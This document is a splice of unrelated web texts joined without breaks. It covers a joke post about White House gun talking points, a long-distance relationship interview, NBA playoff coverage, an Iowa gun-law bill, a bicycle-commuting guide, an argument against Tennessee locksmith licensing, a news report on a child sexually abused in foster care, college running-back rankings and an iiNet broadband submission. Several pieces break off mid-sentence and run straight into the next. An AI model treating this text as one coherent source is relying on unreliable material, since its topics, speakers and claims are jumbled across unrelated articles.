Hello Friends I’ve just received a request from The White House! On behalf of The President, I’ve been asked to share some talking points directly with each one of you, regarding the need to expand background checks on those citizens who wish to purchase a gun! Just kidding.
For some reason, I was not among those celebrities selected to assist The White House in this endeavor. I’ve since recovered from my initial disappointment, and identified three possible explanations for the oversight. 1. The White House did not ask for my assistance, because they do not believe I’m famous enough to persuade anyone of anything. 2. The White House did not ask for my assistance, because they do not believe I would tweet out someone else’s words and claim them as my own.
3. The White House did not ask for my assistance, because they do |
can both imagine a “one day” where we’re both home all the time, building a life and a family together. And that day will come. And it will have its ups and its downs. Just like the days we have now, but in a different way.
6. What key piece of advice would you give to people in LDRs or considering an LDR?
Just because you aren’t in the same place, doesn’t mean that your relationship isn’t growing and changing. I think this was something that it took us a long time to come to terms with – you don’t hit the “pause” button just because you’re not together.
Also, I feel like I tell people about Colin and my relationship all the time, and the response is always, “I could never do that.” And that’s okay. I could never date someone who didn’t respect family, who wasn’t ambitious but still considerate, who wouldn’t hold my hand in public. We all have our things. It’s just making sure you are in the situation that makes you both the happiest, safest, and most fulfilled you could be.
AdvertisementsProblems for anybody trying to figure out how to defend this team.
Kyle Korver was part of the Cavaliers' 3-point machine, making four 3s in the first half.
"They're very difficult to beat when [LeBron James] is shooting the ball like that because the floor is so spread," Raptors coach Dwane Casey said after his team, a top-10 defense in the regular season, allowed the Cavs to score 118 points per 100 possessions in the series. "It really takes you away [from the basket]. And then they bring in [Channing] Frye and Korver, they've got the floor spread so much. And now here goes Kyrie [Irving]. They present so many problems offensively. You've got to score 117, 118 points a night to beat them, because they have so many weapons."
The Raptors played their best game of the series on Sunday. P.J. Tucker started his first game of the postseason and was in James' shirt all afternoon. The Raptors moved the ball well on offense and made some of the open jumpers they had been missing in the first three games.
With so many shooters around, LeBron James makes his 35 points look easy.
But it wasn't enough. Despite Tucker's defense -- he was, essentially, on the floor and in front of James for 46 minutes -- James scored 35 points on 11-for-22 shooting, hitting five of his 12 threes. And every time the Raptors made a run, the Cavs had an answer -- often from beyond the arc.
When the Raptors got off to a strong start, Cavs coach Tyronn Lue called on Frye a little earlier than usual, and a couple of Frye jumpers helped Cleveland turn an 11-point, first-quarter deficit into a tie game heading into the second quarter.
Then it was Korver's turn. He was the key ingredient -- with a couple of jumpers and an assist to James when two defenders went toward the shooter -- in a 15-4 Cleveland run in the middle of the second quarter.
When the Raptors fought back to take the lead midway through the fourth quarter, Irving went on a personal, 11-2 run that gave the Cavs the lead for good. It started with his patented, step-back three from the right wing.
The dagger was another step-back from James, his fifth three of the game. Stay at home on the shooters and the ball-handlers will just create their own space.
Toronto, meanwhile, just didn't have enough shooting to compete. In the series, 84 percent of the Raptors' 3-point attempts were uncontested. But they shot just 32 percent on those uncontested 3-pointers. Only 69 percent of the Cavs' 3-pointers were uncontested, but they shot 46 percent on those uncontested 3-pointers and even better (48 percent) on contested looks from beyond the arc.
In the wake of being swept in the Eastern Conference semifinals, what's next for Toronto?
When Casey was asked before Game 4 what his team was missing with the absence of point guard Kyle Lowry, the first thing he mentioned was Lowry's 3-point shooting. The All-Star was one of the best 3-point shooters off the dribble this season and though Cory Joseph is one of the league's back-up point guards, he isn't the long-distance shooter that Lowry is. The Raptors don't have many weapons from deep, and when you take away the most dangerous one, it's problems.
It's all about shooting. If you have it, you can make up for inconsistent defense or erratic play from quarter to quarter. Exhibit A is your Cleveland Cavaliers. The focus comes and goes. The defense can be beat. But the Cavs are now 8-0 in this postseason and 32-4 in the Eastern Conference playoffs over the last three years.
You may have thought that the Cavs, who shot 41 percent from 3-point range in the 2016 postseason, had enough shooting. But GM David Griffin wasn't satisfied, so he traded for one of the best shooters in NBA history in January, and it's been a mutually beneficial relationship.
"Nothing helps you get open more than more shooting," said Korver, who shot 8-for-12 from beyond the arc in Games 3 and 4. "When you're the only shooter, they can lock in on that. But when you got multiple shooters, it makes it really hard to guard. We have that here and we were designed like that for a reason."
You're seeing it now. History tells us that defense is more important than offense if you want to win a championship. But this is a new NBA, where you can't win if you can't keep up offensively. Just ask the Raptors, who also had a top-10 offense in the regular season, but couldn't hang with the combination of James and a group that complements him perfectly.
"We have a lot of guys who were brought to this team," Korver said, "to help make our main guys even better, hopefully, to give them the space they need to operate, to be special."
John Schuhmann is a staff writer for NBA.com. You can e-mail him here, find his archive here and follow him on Twitter.
The views on this page do not necessarily reflect the views of the NBA, its clubs or Turner Broadcasting.Iowa Governor Terry Branstad will return from China this week to find a slew of pro-gun changes on his desk ready for his signature.
Branstad said he expects to sign legislation enacting pro-gun changes to Iowa’s firearms laws after he and his staff review the House File 517 provisions the IA House approved on Thursday.
“Obviously, we want to review it in its final form, but generally I’ve been a strong supporter of the Second Amendment and I believe the legislation passed with bipartisan support with a pretty strong margin,” Branstad said in an interview Friday. “I’m inclined to be supportive but I want to reserve judgment until I get a chance to review it in its final form.”
“Iowans deserve their freedoms back. They deserve their liberties back,” the bill’s author Rep. Matt Windschitl told the Des Moines Register. “While this is not everything that me, personally, would like to see advanced here today, it is the most monumental piece of Second Amendment legislation this state has ever seen.”
Included in HF 517 are:
Stand Your Ground – Under HF 517 a law-abiding citizen would have no duty to retreat from any place where the person is lawfully present before using force to defend themselves.
Capitol Carry – Prevents the Director of the Department of Administrative Services from prohibiting the otherwise lawful carrying, transportation, or possession of any handgun in or on any capitol buildings.
Permit Privacy – The bill restricts the use and disclosure of information acquired about holders of nonprofessional permits to carry weapons and permits to acquire firearms. The Commissioner of Public Safety and any issuing officer (County Sheriff) would be required to keep confidential all personally identifiable information about such individuals, except for expressly authorized disclosures.
Youth Shooting and Parental Rights – HF 517 would give Iowa youth under the age of 14 the ability to learn handgun safety only “under the direct supervision” of a parent or other specified responsible, authorized adult in a safe and responsible way.
Despite the fact youth shooters are legally able to handle and shoot shotguns, rifles, AR-15s, even Uzis under current gun laws, opponents of the bill continue their claims that to allow shooters under the age of 14 to handle handguns specifically poses a threat.
“We should make decisions based on those things that can potentially happen and legislate to reduce the risk of those potential mishaps,” said Rep. Ras Smith, D-Waterloo. “I think that’s part of what we do here on a daily basis. We make decisions and we think critically about the unintended consequences.”
Under the current law, Iowa residents like Meredith Gibson, a youth 3-gun shooter, can practice the rifle and shotgun portion of her sport in IA but law dictates her parents must drive her into neighboring Illinois if she wants to work on her handgun skills.
After his youngest daughter Natalie was escorted out of a gun range in Iowa when they began their journey into 3-gun, Nathan Gibson said his daughters “asked to start going down to the capital and they worked with Iowa Firearms Coalition, a local NRA affiliate, non-profit, to draft a bill to basically strike the age in the law, so it’s basically up to parental discretion to determine when it’s best.”
In fact, from there, Meredith and Natalie Gibson not only stood on the capital steps every day after school lobbying lawmakers to amend the state’s outdated law, they actively campaigned to unseat Democratic Senator Steven Sodders played politics, actively thwarting the girls hard-earned victories.
“We (had) thirty-seven senators that support us, but Senator Sodders doesn’t want to give it to one of those people who support us,” Natalie said.
“When I get into the competition I need to be able to practice, but I can’t practice,” Meredith said. “I always have to go, like, out of state to practice and it’s just so frustrating.”
The Gibson family in the balcony of the Iowa Senate Tuesday to witness the 33-17 vote in favor of HF 517. If Branstad signs the pro-gun bills this week, the Gibson girls said they’ll proudly be on hand for the signing of a law they worked so hard to change.
Personally, I could not be prouder of these young ladies and applaud the entire Gibson family for their tireless efforts and dedication to fight for these changes!
Read more on Meredith’s fight to change Iowa’s gun laws [HERE] and please support her efforts on her Facebook page, she is the kind of gun rights activist we should all strive to be! If the Gibson girls are any indication, the future of gun rights activism is in good hands.Tips & Techniques:
Do you know how to ride a bicycle? M any people realize that riding a bicycle instead of driving a car saves the noise, stinks, and congestion of the infernal combustion engine. Do you know the personal benefits of cycle commuting? Cycling offers pleasure, companionship (ride with a buddy), cost savings (especially if you eliminate a motor vehicle), time savings (combining workout with commuting), reduced stress, and cardiovascular fitness. A bicycle can be a "fitness club on two wheels." Riding is fun and makes you feel good. Skills: Do you know how to ride a bicycle? Almost everyone would say, "Of course, I learned as a kid." But watch people riding bicycles. You will see that only a few riders, perhaps 5 percent, show true proficiency by steering accurately, pedaling easily at a brisk cadence, and riding fast. They have to go fast since they ride at least 2000 miles/year. You will also see many novice riders who weave and wobble, as they grind their pedals slowly (less than 60 rpm) to ride sluggishly (6-12 mph). Novices usually ride less than 500 mi/yr. Many run traffic lights, ride on the sidewalk or the wrong side of the road, ride too fast downhill and wear no helmet. Novices have about five times the crash rate as experienced riders even though they are much less likely to ride in rush-hour traffic in foul weather or after dark. Obviously, there is more to cycling than balance. Now, ask yourself again, do you know how to ride a bicycle? If you are willing to learn, consider the Effective Cycling program. Effective Cycling, developed by John Forester, is based on the "Vehicular Cycling" theory. The premise is "Cyclists fare best when they act and are treated as operators of vehicles." This is the opposite of what Forester calls the "Cyclist Inferiority" phobia where riders are terrified of being struck down from behind by automobiles. The fear begins in traditional "bike safety" programs which teach little more than "wear your helmet and stay away from cars." This miseducation prompts the behavior that leads to many accidents. Cyclist Inferiority is obvious, intuitive and widely believed. But at one time so was the idea that the stars revolve around a flat Earth. Accident statistics refute the inferiority superstition: Less than one percent of serious cycling injuries are caused by the struck-from-behind collisions feared by novice riders. Most cycling collisions happen at intersections, the same as automobile collisions. The dilemma is that novice cyclists fear the least likely accidents too much and they fear the greater hazards too little. Riding the wrong way in traffic or worse, riding the wrong way on the sidewalk, is most common cause of car/bike collisions. Ironically, many novice cyclists think these are safer ways to ride. For more information, see the accident study by Wachtel and Lewiston from The American Bicyclist Nov/Dec 1994 issue. Vehicular Cycling involves "Five Rules for Traffic Cycling". Excerpted from the book Effective Cycling by John Forester, published by the M.I.T. Press. Copyright John Forester. (There is also a video by the same name.) Drive on the right side of the road, never on the left and never on the sidewalk. When you reach a more important or larger road than the one you are on, yield to crossing traffic. Here, yielding means looking to each side and waiting until no traffic is coming. When you intend to change lanes or to move laterally on the roadway, yield to traffic in the new lane or line of travel. Here, yielding means looking forward and backward until you see that no traffic is coming. When approaching an intersection, position yourself with respect to your destination direction -- on the right near the curb if you want to turn right, on the left near the centerline if you want to turn left, and between those positions if you want to go straight. Between intersections position yourself according to your speed relative to other traffic; slower traffic is nearer the curb and faster traffic is near the centerline. I will add a sixth rule of the road. Be predictable. This means to ride a good straight line, signal turns and lane changes and generally look like you know what you are doing. If you act like the driver of a vehicle, then other drivers will usually understand what you are doing. Effective Cycling teaches vital skills: riding a straight line, the quick look-back, the instant turn, and hard braking. Other skills include lane changing and being courteous on the road (sharing the lane) without being submissive. You can see these demonstrated in the video or described in the book, but to really learn them, take the course. You can find a list of instructors at the League of American Bicyclists web site. The Effective Cycling book has many useful tips and technical explanations for how a bike works -- for example, why some brakes feel softer as you apply them. The paperback edition costs less than $20 and it should be available through your library. (If not, ask. I got my library to buy it.) Unfortunately the book has a strident, confrontational tone when the author discusses political issues. However, the more I read Forester, the more I realize he knows cycling better than almost anyone else. The video version of Effective Cycling gives an excellent demonstration of Vehicular Cycling technique. Libraries should have both the video and the book. You can get the video from the League of American Bicyclists, phone 202 822-1333 or email to Michael Klasmeier. The much smaller booklet, Street Smarts by John Allen, available from Bicycling Magazine, also covers vehicular cycling. The state of Pennsylvania produced a "Bicycle Driver's Manual" that is based on the Street Smarts booklet. New! Pennsylvania's Bicycle Driver's Manual is now on the web!! Sharing the road works two ways. Overtaking motorists have the obligation to wait until they can pass safely and then to allow enough room. Cyclists have the obligation to make passing as easy as possible as long as passing is safe. If the lane is wide enough, stay far enough right to allow cars to pass. If not, then you must take the lane for your own safety. Beginners often "hug" the curb because they fear traffic. This greatly increases their risk. If you collect a train of cars, pull over occasionally to let them by. If a motorist gives you the right of way, acknowledge with a friendly wave or nod. When you stop at a traffic light, don't hug the curb or right turning cars may cut around you. Instead, where there are right turning motorists, scoot to your left and signal drivers to "be my guest" and pass on your right. Be very careful about waving drivers around you on a curvy, two-lane road. Just after you signal, an oncoming car may appear ahead. You could have a liability problem if there is an accident. At a traffic light with a long line of stopped cars, you will have a great temptation to pass on the right. Unless you are in a wide curb lane (such that cars can easily pass you again), don't -- it is not "fair" and it causes much resentment in motorists. Remember, if you ride a regular route, other drivers will recognize you as "that cyclist".
Share the Road: Going uphill at slow speed, you do not need much room and it is not reasonable to block traffic.
Take the Lane: If you are as fast as traffic, it is neither safe nor necessary to squeeze over to allow cars to pass.
Proper Lane Position: On a road with substandard width lanes, ride near the center of the right lane. Photo by R.Woodward Traffic lights controlled by induction loop "vehicle detectors" can be a problem. If the sensitivity is set high enough, most will detect a bicycle stopped over a loop wire. Unfortunately, some are not adjusted sensitively enough and if the wire cuts are covered by pavement, how do you know where they are? Older simple loop detector wires usually run about 1/4 of the distance from each side of the lane lines. Newer double loop detectors have another wire cut in the center of the lane. If you cannot make it work for you, the detector is malfunctioning. Please report it to the city and insist it be repaired. The "hot spot" should be marked so cyclists do not have to guess where it is. Dealing with Barbarians: A major problem for cyclists is Joe Six-Pack Motorist driving his "Suburban Assault Vehicle". Joe, along with the rest of society, has been miseducated about cycling and thinks cyclists should not be on the road. Joe may honk and point at the sidewalk to show where you "belong". Bikeways, especially in the absence of education, reinforce this attitude. Some police are ignorant too. If you are ordered off the road or in the gutter, explain why you belong on the road. Carry a page listing bicycle traffic laws to show the officer. (Mine is laminated in "Contact" plastic.) If this does not work, write to the police chief suggesting that the department needs Effective Cycling training. (There is a special police version.) If your community has a "sidewalk law" then you must choose the lesser evil: accept the hazard of riding on the sidewalk, ride safely but risk getting tickets, or drive a car. (See the author's companion article, "Bicycle Commuter Issues, The Politics of Two Wheels".) Remember that drivers are generally looking for cars, not for a much smaller bicycle. Always wear bright clothing and ride in or near the traffic lanes where drivers are looking. Drivers may misjudge your speed and "hook" in front of you. For these occasions, you need the defensive driving skills taught in Effective Cycling -- hard braking and the instant turn. Learn to anticipate problems in order to avoid them. For the few bozos that try to run you off the road, here are some tips from other cyclists. "Learning to be assertive is a good way to get rid of hate; they are trying to bring you down to their level; for your own good, you have to rise above them." "Carry a jerk book. When an incident occurs, write down the license number and other details, trying to make it obvious what you are doing. The driver may watch in the mirror to see your reaction. He will get very nervous if he sees you writing." The notebook is also handy for turning in bad commercial drivers -- sometimes there is a "how's my driving" sign on a truck. Equipment: If you are planning to bicycle commute, obviously you need a bike. If you already have a serviceable machine, start with that. Buy a better one after you get experience. Stay away from mass merchandisers. Their bikes range from inadequate to dangerous, particularly in the brakes Visit several reputable local shops (ask around) and don't buy too cheap -- expect to spend at least $400 (unless you find last year's model or a good used bike). The three most important things about a bike are fit, fit, and fit. A good bike shop will help fit you. Beware a store where stock on hand determines what "fits" the customer. Common bike styles include currently fashionable mountain bikes, road bikes, and hybrids. Avoid extremes. A heavy mountain bike with soft suspension and knobby tires will not roll well. A racing bike with thin sew-up tires gives a hard ride and gets too many flats. You can see an overview in the buyer's guide in the April issue of Bicycling Magazine. When I bought a new bike, some friends advised a road bike with dropped handlebars for reduced wind resistance. Another friend said "you can hybridize a mountain bike" (by getting harder tires) "but you can't mountainize a hybrid bike." I settled on a hybrid with high pressure tires since I do not ride off road. You need at least a few accessories for commuting. With a new bike, look for a discount or package deal. Consider a rear rack, pump, spare tubes and tires, patch kit, tire "irons", spare brake cable, chain lubricant, some basic tools and a good lock. You should also get either toe clips (to hold your feet in the proper position) or Clipless pedals and matching shoes. For moderate distance commuting (21 miles/day), I use clips with my regular shoes. For the days when I gamble it won't rain (and lose), I keep a complete change of clothes at work, including shoes. In addition to tools, you need rain gear and cycling gloves (to prevent "handlebar palsy"). To hold all this plus change of clothes and lunch, get panniers (packs) to hang on the front or rear racks and/or a handlebar bag. On my bike I use a handlebar bag designed for a road bike -- I bent the wire frame to make it work on my hybrid. I also have a small tool bag, panniers and a "trunk", a bag that fits on top of the rear rack. (I sometimes carry lots of stuff.) Tip: Carry only light things in a handlebar bag. Weight up front makes steering more difficult. Safety equipment starts with a helmet, which can reduce head injury risk significantly. Newer designs are lighter and protect better than those from years ago. To read an interesting testimonial, refer to John Allen's web site. Other safety items include bright clothing, a rear view mirror (I prefer the type that clips on glasses) and a highly reflective safety flag that sticks out to the side, making your bike look wider and more visible. My flag is a "Flash Flag" from Flashback. Traffic law in most states requires a headlight and taillight if you ride after dark. You should carry a small first aid kit as well. A few cyclists have a strong prejudice against mirrors. Some feel a mirror is a "crutch" and cite a freak accident 30 or 40 years ago where a rider's eye was blinded by a shattered mirror. The real issue is the limitations of a mirror. A mirror provides only a narrow field of view, takes getting used to and needs proper adjustment. You should use a mirror to supplement the "look-back", not replace it. When you are about to change lanes, the look-back provides communication with a motorist and is a way for you to "ask permission" for your move. (When you change lanes, you do not have the right of way.) However, unless your neck is as flexible as an owl's, looking back to see straight behind is very difficult. This is just where a properly adjusted mirror works best. Night riding: Don't even think of riding after dark without a headlight. Bright clothing does not work at night. You need lights and reflectors. A strobe (flashing) light on the back of the bike may help motorists notice you but is not good for depth perception. Forester recommends replacing the small, red, standard rear reflector with a 3" SAE amber auto reflector that is eight times brighter. If you mount the reflector off to the side it is less likely to get caked with mud thrown up by the wheel. The Effective Cycling video shows a rider (Forester) with a large off center reflector. Reflectorized clothing and a "Flash Flag" (see above) are also good attention getters. Bicycle headlights cost from under $20 to over $200. If you ride off road in the dark, you need an expensive, multi-beam, high-power system. For commuting on smooth, well-lit roads, 3 watts may be adequate. If a handlebar mount light cannot not "see" over a handlebar bag, you can rig another mounting system. A small flashlight is handy for repairs in the dark and can serve as a backup headlight. I have used a Union generator set (2.4 w headlight, 0.6 w taillight) for several years. The headlight mounts to the top of the fork tube, under the handlebar bag. Recently, I bought a second Union set, partly to have a spare generator but also to have a second independent light system. I mounted the extra headlight assembly on my left fork, connected through a push-button switch to a rechargeable lead-acid battery that goes in my water bottle cage. The battery (6 volt, 4 amp hour) was designed for emergency building lights. I bought it at a home supply store for $11. It works well although it is rather heavy. Tips: Most beginners pedal too slowly, often under 60 rpm, thus get tired quickly and strain the knees. It is better to spin easily at 80-100 rpm. However, if you find yourself bouncing on the seat, you are cranking too fast. To prevent injury, take it easy the first 10 minutes or so, until you warm up. If you use toe clips for commuting, don't tighten the straps. This makes it easier to get feet in and out when you stop but you still get the foot positioning benefit of the clips. Tuck the shoelaces into your shoes so they don't get caught in the chain. If you use a mountain bike, replace the soft, knobby tires with smooth, hard (~80-psi) tires with much less rolling resistance. Keep your tires properly inflated. Besides rolling easier, you will prevent pinch flats (also called snakebite). A soft bike seat comfortable on a 10 minute "test ride" may be excruciating halfway through an all day trip. You need a seat that supports your weight on the ischial tuberosities (sit bones) rather than the perineal area. Adjust the seat height by raising it until your hips start to rock when you ride. Then lower it slightly until the rocking stops. Lube your chain every couple weeks, after a rain, and especially when it "sings". Learn simple repairs such as repairing flats, adjusting and cleaning bearings, etc. A good reference is Bicycling Magazine's Complete Guide to Bicycle Maintenance and Repair. You can find much more cycling information online, for example, Internet discussion groups and a Cycling Forum on Compuserve. While most online information is reliable, be a little wary. I have found good cycling articles and links to more on web pages of Sheldon Brown, John Allen, Ken Kifer, and here on Bicycling Life. Many people ask about needing a shower after riding to work. The need depends on the temperature (lower in the morning) and the level of effort and distance for the ride. On hot days, rather than shower at work, I take it a bit easy on the ride in, then soak my face in a cool, wet towel, and wait to change my shirt (from the T-shirt used on the ride) until I've cooled, 30-60 minutes later. I have not worn a tie since I started riding regularly (but keep one in my desk for the rare occasion). In cooler weather, I wear my "work" shirt. I wear shorts or running pants rather than dress pants to avoid a "chainring tattoo" on my pants leg. Cycling shorts usually have a "chamois" pad to prevent chafing on long rides. For this to work, however, the chamois should be next to your skin, which means no underwear. This can make for an interesting experience if you are caught changing behind the bookcase in the office. On a commute, you likely do not need chamois shorts anyway. You need a safe place to park. Some of us enjoy ultra close-in parking right in the office. Why not try it? A local cycling club may find a mentor to give you tips on road positioning, routes, equipment and clothes. You might also find a "riding buddy" at work. A buddy provides another set of eyes to watch for problems, deters troublemakers and can help with repairs. Time cost: A bicycle is usually slower than an auto. Thus there is a "time cost" of cycling. Let me put this in personal terms: I live 9-12 miles from work (depending on route). It takes about 20 min. to drive or 40 to ride (shortest route). Therefore, my time "cost" for riding is 20 min. But I get 40 min. of healthful exercise in this time -- much more efficient than driving to a gym. (See Also: No Time To Bike) For the ride home, I choose a 12 mile scenic and shady route mostly through the park (on the road, not the "All Purpose Trail" with its "Stop, Walk Bike" signs). The ride home takes about 50 min. Surveys of cycle commuters show that many consider 10 miles one way to be a maximum reasonable distance for regular riding. Those living further may drive part way and ride the rest. In a few communities public transportation accommodates bicycles. An ideal bike route is fast, convenient and direct. It will be free from dense, high speed traffic and have a wide, smoothly paved outside (right) lane without hazards (like parallel bar sewer grates and chuckholes). You may have to choose between fast but busy arterial roads and side streets where you face delays at main road intersections by stop signs or traffic lights. Winter cycling: Winter brings new challenges -- keeping hands and feet warm while not overheating elsewhere. One secret is wearing layers of clothing (ventilating zippers are a must). A breathable wind shell over a wicking fabric works well. To protect both yourself and the bike from splash thrown up from wet roads, get fenders. If fenders do not extend low enough, add homemade flaps made from a plastic milk jug. ICEBIKE is an interesting web site for winter riders. In winter, I exchange my shorts for flannel lined nylon running pants with leg zippers. I sewed elastic on the right cuff to keep it away from the chainring. An ear band helps keep my head warm. If you have a more a sensitive thermostat you may prefer a balaclava under the helmet. Below freezing, I wear mitts and liner gloves. I seldom wear fancy cycling clothes. A special winter hazard is black ice. My worst fall was in a place where the road looked clear except the blacktop was just a little "too black". Another problem is visibility. You are often riding in the dark. In the early morning or late afternoon you may be invisible to a motorist dazzled by low sun. BUGs: Consider starting a Bicycle User Group (BUG) where you work. At Cleveland's NASA/Glenn Research Center "GO-BIKE" performs bicycle advocacy, helps the Safety Office to host events like "Ride to Work" days and works to improve the cycling environment. NASA loans the Effective Cycling video and other materials (free) to employees. My goal for this article is to help beginners get over initial hurdles and avoid common mistakes. You can find much more information in the sources mentioned in the text. You do not need to learn it all at once. Expect it will take time to get used to riding in traffic -- perhaps 10,000 miles to learn by yourself; 5,000 miles if you get help or 2,000 miles with an Effective Cycling course. Find a buddy if you can, start riding and have fun. The best time to start is now. A companion article, "Bicycle Commuter Issues, The Politics of Two Wheels" discusses problems caused by our society and what we might do about them. If you have questions or comments, please direct them to Fred Oswald. The opinions in these articles are the author's. Go to TopWhether it’s wall decals, DIY signs, or one of the multitudes of what I call “knick knack” decorations from a home goods store, we’ve all seen cute quote decorations like “home sweet home.” Your home is your sanctuary after a long day’s work to relax and spend time with family and loved ones and to separate yourself from the hustle and bustle of the outside world.
One of the most important aspects of a home is feeling safe; with the main line of defense for your home being the lock on your door. Anybody who has the key to your lock has access to not just your house, but also your life. For this reason, we want to know that locksmiths can be trusted. But does that honestly require a government license? To be a locksmith in Tennessee, an individual must pay the government $100, take 30 hours of education, and possess two years of experience. Even worse, once you’ve received government permission to work as a locksmith, you have to take another 12 hours of education every two years and pay an even bigger fee.
Tennessee is the second hardest state in the nation to become a locksmith. Yet, five of the eight states that surround us (Georgia, Mississippi, Arkansas, Missouri, and Kentucky) manage to prevent locksmiths from breaking into people’s homes everywhere without requiring a license at all. Could it be possible there is a better way? Companies in many industries require background checks for their employees, yet do not require a costly and time-consuming license. Some examples include bank employees, teachers, daycare providers, and even locksmiths.
Feeling secure about your children, home, and other possessions is understandable. But background checks for jobs like locksmithing can be done for $30 a pop. Want to make it more expensive? Get government licensing boards involved.A PRIMARY school girl has been left with two STIs after being sexually assaulted by her approved foster carer – just months after being placed into care following sex abuse at home.
The child was removed from her family home after she was abused by a 32-year-old friend of her brother at the age of six.
Getty Images 1 A girl, 7, suffered horrific abuse at the hands of her approved foster dad (stock picture)
But while in the care of two approved foster parents, the girl – then just seven or eight – was found to have contracted gonorrhoea and chlamydia, the Croydon Advertiser reported.
The girl’s ordeal emerged after Croydon Safeguarding Children Board (CSCB) carried out a case review to discover how authorities were able to miss the signs of abuse.
Shocking details in the report reveal the youngster – named as Claire – had gone to school "splay-legged" after just her first night with the foster family.
But poor girl spent a further 15 months in the horror home before social workers realised what was going on and removed her – despite the child’s school and GP flagging their concerns.
A total of eleven "findings" were noted in the 71-page report, including failures in communication, approval of foster carers and problems with inexperienced staff and their managers.
Claire and her two siblings were known to authorities, having been put on a child protection plan because of a range of suspected issues at home.
Social services had concerns over neglect, "extreme" domestic violence, drug and alcohol misuse in her home.
Related stories NOT 'APPY Parents warned over 'unsafe' childrens' app after stranger logs in and performs sex act in front of kids NO LAUGHING MATTER Firefighter clown arrested for 'having sex with dog and sharing child abuse images' 'I'M PROOF HE'S LYING' Former foster daughter confronts 'virtuous paedophile' she claims raped her when she was ten 'MUSIC IS MY ESCAPE' 16-year-old The Voice contestant Sarah Morgan opens up about foster care experience Exclusive 'THE COUNCIL F***** UP MY LIFE' Girl who was 'raped by foster dad at the age of six' sues Peterborough Council for £35k
Then, in January 2012, she was abused by a friend of her brother as she slept in bed next to her mum.
The brave little girl revealed the shocking incident to a friend of her mother and she was removed from the home and placed in the care of her grandma.
But after she found herself unable to cope, her granddaughter was placed with a foster couple – named only as Mr and Mrs George – in May 2012.
But on her first day at school – just five months after the original abuse which led to her being removed from her home – teachers flagged concerns.
She was seen walking with "her legs splayed open" and told staff she was "hurting inside her vagina", the report said.
But despite reporting their concerns to a social worker, no immediate action was taken.
The report states: "The school were informed of the decision |
52 points between winning three national awards, becoming a consensus All-American, winning first-team all-conference honors and getting drafted in the 2003 first round -- but the Nittany Lions have had five running backs drafted and Evan Royster also won all-conference honors in 2009.
Award winners: Johnson, Camp (2002), Maxwell (2002), Walker (2002).
Consensus All-Americans: Johnson (2002).
First-team all-conference: Johnson (2002), Royster (2009).
NFL first-round draft picks: Johnson (2003).
NFL draft picks, Rounds 2-4: Omar Easy (Round 4, 2002), Michael Robinson (Round 4, 2006), Tony Hunt (Round 3, 2007).
NFL draft picks, Rounds 5-7: Royster (Round 6, 2011).
9. Oklahoma State (70 points)
There’s nothing flashy about Oklahoma State’s point production here. No national awards, and just Kendall Hunter among its All-Americans. But the Cowboys have been outstanding at producing all-conference running backs, with Hunter (twice) and Tatum Bell ranking among their eight backs who made the coaches’ first team.
Award winners: None.
Consensus All-Americans: Hunter (2010.
First-team all-conference: Bell (2003), Dantrell Savage (2007), Hunter (2008, 2010), Keith Toston (2009), Bryant Ward (2009, 2010), Joseph Randle (2012).
NFL first-round draft picks: None.
NFL draft picks, Rounds 2-4: Bell (Round 2, 2004), Vernand Morency (Round 3, 2005), Hunter (Round 4, 2011).
NFL draft picks, Rounds 5-7: Randle (Round 5, 2013).
10. California (66 points)
Considering how Cal shares a conference with splashy programs like Oregon and USC, perhaps it’s understandable that its success developing tailbacks might fly a bit under the radar. But just look at the Bears’ résumé, starting with Marshawn Lynch, Jahvid Best and J.J. Arrington. There have been some enormously productive tailbacks who got their start in Berkeley.
Award winners: None.
Consensus All-Americans: Arrington (2004).
First-team all-conference: Adimchinobe Echemandu (2003), Arrington (2004), Lynch (2006), Justin Forsett (2007), Best (2008).
NFL first-round draft picks: Lynch (2007), Best (2010).
NFL draft picks, Rounds 2-4: Arrington (Round 2, 2005), Shane Vereen (Round 2, 2011).
NFL draft picks, Rounds 5-7: Echemandu (Round 7, 2004), Forsett (Round 7, 2008).
10. Virginia Tech (66 points)
Frank Beamer’s Hokies are another bunch who trotted out productive tailback after productive tailback. Virginia Tech hasn’t won a national award and has only Kevin Jones among its All-America backs, but its list of all-conference backs -- including first-round picks Jones and David Wilson, along with Lee Suggs, Brandon Orr and Ryan Williams -- features some players whose running abilities fit perfectly with Beamer’s winning formula in Blacksburg.
Award winners: None.
Consensus All-Americans: Jones (2003).
First-team all-conference: Suggs (2000), Jones (2003), Orr (2006), Williams (2009), Wilson (2011).
NFL first-round draft picks: Jones (2004), Wilson (2012).
NFL draft picks, Rounds 2-4: Suggs (Round 4, 2003), Williams (Round 2, 2011).
NFL draft picks, Rounds 5-7: Jarrett Ferguson (Round 7, 2002), Cedric Humes (Round 7, 2006).
REST OF “RUNNING BACK U” RANKINGS
62 -- Boston College; 60 -- Michigan, Ohio State; 58 -- Stanford; 56 -- LSU, Miami; 52 -- Georgia Tech, Oregon State; 50 -- West Virginia; 48 -- BYU; 44 -- Arizona, Michigan State, Pittsburgh, TCU; 42 -- Texas; 40 -- Clemson, Iowa, Nebraska; 36 -- Kansas State, Rutgers; 32 -- Georgia, Minnesota; 28 -- Florida State, Louisville, Tennessee, UCLA; 26 -- Illinois, Maryland, Syracuse; 24 -- Virginia; 20 -- Colorado, North Carolina; 18 -- Baylor, Mississippi State, Wake Forest; 16 -- Florida, Northwestern, Washington, Washington State; 14 -- Ole Miss, South Carolina, Texas Tech; 12 -- Iowa State, Kentucky; 10 -- Kansas, N.C. State, Texas A&M; 8 -- Missouri, Utah; 6 -- Arizona State, Duke, Indiana, Notre Dame; 2 -- VanderbiltIINET, the nation's third-largest internet provider, has described the National Broadband Network as a "policy vacuum", saying faster download speeds are not enough to justify the build and insisting on a new set of objectives to guide the ambitious project.
In a submission to the Senate Select Committee on the NBN, which is holding a public hearing in Perth today, iiNet has called for an urgent rethink on what the high-speed network should achieve.
"iiNet does not believe that downloading songs faster or being able to connect multiple televisions should be the drivers of national infrastructure," iiNet regulatory chief Steve Dalby wrote in the submission.
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iiNet said the NBN policy should establish a clear set of objectives that focused on productivity, job creation, export opportunities, and improved regional, industry and competition outcomes.
"Successive governments have struggled to communicate concrete reasons for an investment in NBN," the submission stated.
"Debate has continued to focus on download speeds for domestic entertainment.
"The Australian public, and it seems the parliament, appears to be unsure why the NBN is being built and so discussions are still mired in the operational issues of costs, timetables and technology, rather than national benefits."
The Coalition is scaling back Labor's original fibre-based NBN and is deploying fibre to cabinets on street corners that will connect to Telstra's copper network and link into homes.
Under this mixed-technology approach, NBN Co will need to access the copper and cable networks, which will be preserved and upgraded to offer better broadband services.
